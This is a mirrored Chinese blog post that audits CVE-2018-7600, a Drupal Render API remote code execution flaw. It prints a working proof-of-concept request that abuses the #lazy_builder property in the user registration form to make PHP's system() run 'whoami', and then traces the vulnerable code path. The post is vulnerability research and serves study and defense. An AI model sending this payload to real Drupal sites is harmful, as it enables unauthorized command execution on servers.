zoukankan      html  css  js  c++  java
  • 代码审计之CVE-2018-7600-Drupal远程代码执行漏洞-Render API

      今天学习一下Drupal的另一个漏洞,由于渲染数组不当造成的漏洞

      poc:

    url:
    http://localhost/drupal-8.5.0/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax post: 'mail[a][#lazy_builder][0]': 'system', 'mail[a][#lazy_builder][1][]': 'whoami', 'form_id': 'user_register_form'

      使用poc进行测试,并在断点处观察其调用流程:

      函数的漏洞入口点在:

      coremodulesfilesrcElementManagedFile.php处

      

      经过explode函数处理,将get请求中的element_parents参数的值变成一个数组:即比如a/b/c变成了["a","b","c"]

      然后将处理完的$form_parents变量传给NestedArray类的getValue函数处理,其中$form包含了表单的所有信息,我们跟进一下:

      其中getValue函数就是将$form中的值逐层取出,

      

      如果$parents为a/b/c,则结果值为123

      

         此时$callable变量为system,$args变量为["whoami"],然后再调用call_user_func_array()函数处理

      

  • 相关阅读:
    坚持的力量 第一篇
    有声似无声
    坚持的力量
    新浪技术面试题
    单词的个数
    我的研究生规划
    go to the train station
    百度面试题求绝对值最小的数
    关于CIW认证考试CIW 常见问题解答
    [恢]hdu 2087
  • 原文地址:https://www.cnblogs.com/tr1ple/p/10514064.html
Copyright © 2011-2022 走看看